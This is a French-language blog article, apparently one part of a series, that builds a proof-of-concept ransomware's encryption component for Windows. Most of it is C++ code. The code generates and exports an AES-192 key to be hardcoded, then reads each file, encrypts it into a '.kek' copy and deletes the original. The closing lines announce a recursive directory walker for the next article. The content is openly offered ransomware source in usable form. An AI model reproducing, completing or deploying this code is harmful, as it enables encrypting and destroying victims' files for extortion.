Le service de chiffrement
Le coeur de notre ransomware PoC reste son service de chiffrement. Pour cet aspect, Microsoft met à notre disposition la librairie wincrypt, inclue dans le set API Windows (https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta). Celle-ci sera supposément bientôt dépréciée, et remplacée par le standard CNG (https://docs.microsoft.com/en-us/windows/win32/seccng/cng-portal et https://docs.microsoft.com/fr-fr/windows/win32/seccng/encrypting-data-with-cng), mais en attendant, nous nous en contenterons.
Afin de complaire à nos grands amis de l’OQLF, de l’ANSSI, et de l’Académie Française, l’auteur utilisera le terme “chiffrer” au lieu d’encrypter.
La gestion cryptographique avec l’API Windows ; théorie
Pour tout ce qui touche à la génération d’une clé et à la logique de chiffrement, le trio de fonctions le plus utiles dans l’API Windows restent :
CryptAcquireContextA
Qui nous permet l’acquisition d’une handle vers le container de clé d’un fournisseur de services cryptographiques (CSP selon la doc Microsoft). Cette handle sera ré-utilisée par les autres fonctions de wincrypt.
BOOL CryptAcquireContextA(
[out] HCRYPTPROV *phProv,
[in] LPCSTR szContainer,
[in] LPCSTR szProvider,
[in] DWORD dwProvType,
[in] DWORD dwFlags
);
CryptGenKey
Qui permet la génération de notre clé.
BOOL CryptGenKey(
[in] HCRYPTPROV hProv,
[in] ALG_ID Algid,
[in] DWORD dwFlags,
[out] HCRYPTKEY *phKey
);
CryptExportKey
Export de la clé. Utilisé deux fois, d’abord pour calculer la longueur de notre futur “blob”, puis pour remplir celui-ci avec une structure de type PLAINTEXTKEYBLOB, avec entre les deux un petit malloc à notre blob en utilisant la longueur du blob calculée la première fois.
La fonction :
BOOL CryptExportKey(
[in] HCRYPTKEY hKey,
[in] HCRYPTKEY hExpKey,
[in] DWORD dwBlobType,
[in] DWORD dwFlags,
[out] BYTE *pbData,
[in, out] DWORD *pdwDataLen
);
La structure en question. Pour une clé AES-192, notre blob fera donc par exemple un total de 36 bytes
typedef struct _PLAINTEXTKEYBLOB {
BLOBHEADER hdr;
DWORD dwKeySize;
BYTE rgbKeyData[];
} PLAINTEXTKEYBLOB, *PPLAINTEXTKEYBLOB;
La gestion cryptographique avec l’API Windows : pratique.
Voilà donc à quoi ressemble notre code final pour la génération de clé
int genkey(){
HCRYPTPROV prov = NULL;
HCRYPTKEY clé = NULL;
DWORD bloblen = 0;
BYTE* blob;
bool ok;
if (CryptAcquireContextW(&prov, 0, 0, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
std::cout << "Context acquired" << std::endl;
}
else {
DWORD d = GetLastError();
std::cout << "Failure to acquire context" << d << std::endl;
return -1;
}
if (CryptGenKey(prov, CALG_AES_192, 0x00C00000 | CRYPT_EXPORTABLE, &clé)) {
std::cout << "Key Generated : " << clé << std::endl;
}
else {
DWORD d = GetLastError();
std::cout << "Failure to generate key, error code : " << d << std::endl;
CryptDestroyKey(clé);
CryptReleaseContext(prov, 0);
return -1;
}
if (CryptExportKey(clé, 0, PLAINTEXTKEYBLOB, 0, NULL, &bloblen)) {
std::cout << "Size of the blob determined : " << bloblen << std::endl;
}
else {
DWORD d = GetLastError();
std::cout << "Error calculating the length, error code : " << d << std::endl;
return -1;
}
if (blob = (BYTE*)malloc(bloblen)) {
std::cout << "Memory has been allocated to the blob :" << sizeof(blob) << std::endl;
}
else {
DWORD d = GetLastError();
std::cout << "Out of memory, error code : " << d << std::endl;
return -1;
}
ok = CryptExportKey(clé, 0, PLAINTEXTKEYBLOB, 0, blob, &bloblen);
if (ok == FALSE) {
DWORD d = GetLastError();
std::cout << "Error exporting key, error code : " << d << std::endl;
free(blob);
return -1;
}
else {
std::cout << "Content written to the blob" << std::endl;
std::cout << "Here's the raw blob value :" << blob << std::endl;
std::ofstream bytefile("byte.txt",std::ios::binary);
bytefile.write((const char*)blob,sizeof(blob));
bytefile.close();
}
return 0;
}
Une fois celle-ci créée, elle peut être ré-importée (dans notre cas sous la forme d’un array de bytes hardcodé) lorsque le ransomware s’exécutera sur la machine de test cible via la fonction CryptImportKey (qui requiert un CSP valide, et donc l’exécution locale de CryptAcquireContextW au préalable) :
BOOL CryptImportKey(
[in] HCRYPTPROV hProv,
[in] const BYTE *pbData,
[in] DWORD dwDataLen,
[in] HCRYPTKEY hPubKey,
[in] DWORD dwFlags,
[out] HCRYPTKEY *phKey
);
Le chiffrement des fichiers avec une clé : théorie
L’idée reste simple.
Tout d’abord, créer deux handles : la première pour le fichier source, et la deuxième pour le fichier de destination, qui sera le résultat de notre encryption. La handle de destination, en utilisant l’argument OPEN_ALWAYS, créera le fichier de destination ex-nihilo , au format “.kek”.
Après l’ouverture des deux handles, nous lisons une plage de bytes pré-déterminée depuis le fichier source, l’insérons dans un buffer, chiffrons ledit buffer, puis l’insérons dans le fichier de destination. L’opération est répétée jusqu’à ce que le fichier d’origine aie été intégralement chiffré. Simple, non ?
Pour ce faire, nous allons utiliser un trio de fonctions spécifiques ;
ReadFile
Comme sont nom l’indique, cette fonction lit des données depuis un fichier (supposant donc la création d’une handle vers ledit fichier en amont).
BOOL ReadFile(
[in] HANDLE hFile,
[out] LPVOID lpBuffer,
[in] DWORD nNumberOfBytesToRead,
[out, optional] LPDWORD lpNumberOfBytesRead,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
CryptEncrypt
Cette fonction, en utilisant une clé précédemment importée (donc dans notre cas via CryptImportKey), chiffre des données passés en paramètre.
BOOL CryptEncrypt(
[in] HCRYPTKEY hKey,
[in] HCRYPTHASH hHash,
[in] BOOL Final,
[in] DWORD dwFlags,
[in, out] BYTE *pbData,
[in, out] DWORD *pdwDataLen,
[in] DWORD dwBufLen
);
WriteFile
Cousine de ReadFile, cette fonction, comme son nom n’indique, écrit des données dans un fichier (en utilisant la même handle vers ledit fichier, créée au préalable)
BOOL WriteFile(
[in] HANDLE hFile,
[in] LPCVOID lpBuffer,
[in] DWORD nNumberOfBytesToWrite,
[out, optional] LPDWORD lpNumberOfBytesWritten,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
Le chiffrement des fichiers avec une clé : pratique
Voilà donc à quoi ressemble le code final pour le chiffrement d’un fichier.
hSourceFile = CreateFileW(szOGFileName, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hSourceFile == INVALID_HANDLE_VALUE) {
DWORD d = GetLastError();
std::cout << "Error opening handle to the sourcefile, error code: " << d << std::endl;
return -1;
}
hDestFile = CreateFileW(pzDestFile, FILE_WRITE_DATA | DELETE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hDestFile) {
DWORD d = GetLastError();
std::cout << "Error opening handle to the destfile, error code 0x8" << d << std::endl;
return -1;
}
while (eof == 0) {
if (ReadFile(hSourceFile, pbBuffer, dwBlockLen, &dwCount, NULL) == 0) {
DWORD d = GetLastError();
std::cout << "Error reading from the sourcefile, error code 0x8:" << d << std::endl;
break;
}
if (dwCount < dwBlockLen) {
eof = 1;
}
if (CryptEncrypt(clé, 0, eof, 0, (BYTE*)pbBuffer, &dwCount, dwBufferLen) == 0) {
DWORD d = GetLastError();
std::cout << "Error encrypting the buffer, error code 0x" << d << std::endl;
break;
}
if (WriteFile(hDestFile, pbBuffer, dwCount, &dwCount, NULL) == 0) {
DWORD d = GetLastError();
std::cout << "Error writing to the destfile, error code 0x:" << d << std::endl;
break;
}
}
CloseHandle(hSourceFile);
CloseHandle(hDestFile);
if (DeleteFile(szOGFileName) == 0) {
DWORD d = GetLastError();
std::cout << "Error deleting the OG file, error code 0x:" << d << std::endl;
return -1;
}
A noter que je n’ai pas inclus certaines opérations lambda, comme par exemple de la manipulation de strings afin d’assurer que le fichier de destination aie l’extension “.kek” mentionnée dans la partie précédente.
Maintenant que les opérations de chiffrement basiques sont prêtes, il nous faut écrire un petit algorithme récursif qui se chargera d’itérer le système de fichier et d’exécuter la routine de chiffrement, à plusieurs degrés de profondeur si besoin est : cela sera le sujet du prochain article. A la prochaine !